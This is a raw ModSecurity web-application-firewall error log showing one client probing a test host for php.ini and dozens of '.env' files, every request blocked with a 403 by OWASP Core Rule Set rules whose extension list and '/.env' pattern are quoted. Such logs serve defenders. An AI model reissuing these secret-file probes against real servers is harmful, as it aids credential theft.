[Wed Feb 25 06:05:22.730785 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPQAAAAY&quot;]
[Wed Feb 25 06:05:22.806002 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPgAAAAY&quot;]
[Wed Feb 25 06:05:22.806549 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPgAAAAY&quot;]
[Wed Feb 25 06:05:22.806734 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPgAAAAY&quot;]
[Wed Feb 25 06:05:22.856752 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /media/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6AAAAAI&quot;]
[Wed Feb 25 06:05:22.857009 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6AAAAAI&quot;]
[Wed Feb 25 06:05:22.857184 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6AAAAAI&quot;]
[Wed Feb 25 06:05:22.896234 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /memcached/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6QAAAAI&quot;]
[Wed Feb 25 06:05:22.896489 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6QAAAAI&quot;]
[Wed Feb 25 06:05:22.896651 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6QAAAAI&quot;]
[Wed Feb 25 06:05:22.970782 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mentorg-lava-docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6gAAAAI&quot;]
[Wed Feb 25 06:05:22.971050 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6gAAAAI&quot;]
[Wed Feb 25 06:05:22.971224 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW6gAAAAI&quot;]
[Wed Feb 25 06:05:23.052122 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react-communication/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW6wAAAAI&quot;]
[Wed Feb 25 06:05:23.052400 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW6wAAAAI&quot;]
[Wed Feb 25 06:05:23.052598 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW6wAAAAI&quot;]
[Wed Feb 25 06:05:23.103809 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7AAAAAI&quot;]
[Wed Feb 25 06:05:23.104058 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7AAAAAI&quot;]
[Wed Feb 25 06:05:23.104219 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7AAAAAI&quot;]
[Wed Feb 25 06:05:23.156279 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mindsweeper/gui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7QAAAAI&quot;]
[Wed Feb 25 06:05:23.156543 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7QAAAAI&quot;]
[Wed Feb 25 06:05:23.156736 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7QAAAAI&quot;]
[Wed Feb 25 06:05:23.188162 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /minified/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7gAAAAI&quot;]
[Wed Feb 25 06:05:23.188440 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7gAAAAI&quot;]
[Wed Feb 25 06:05:23.188609 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7gAAAAI&quot;]
[Wed Feb 25 06:05:23.218532 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /misc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7wAAAAI&quot;]
[Wed Feb 25 06:05:23.218802 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7wAAAAI&quot;]
[Wed Feb 25 06:05:23.218952 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW7wAAAAI&quot;]
[Wed Feb 25 06:05:23.255648 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modix/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8AAAAAI&quot;]
[Wed Feb 25 06:05:23.255913 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8AAAAAI&quot;]
[Wed Feb 25 06:05:23.256089 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8AAAAAI&quot;]
[Wed Feb 25 06:05:23.336040 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monerod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ6DE1Iszkcv5YapLJKW8QAAAAI&quot;]
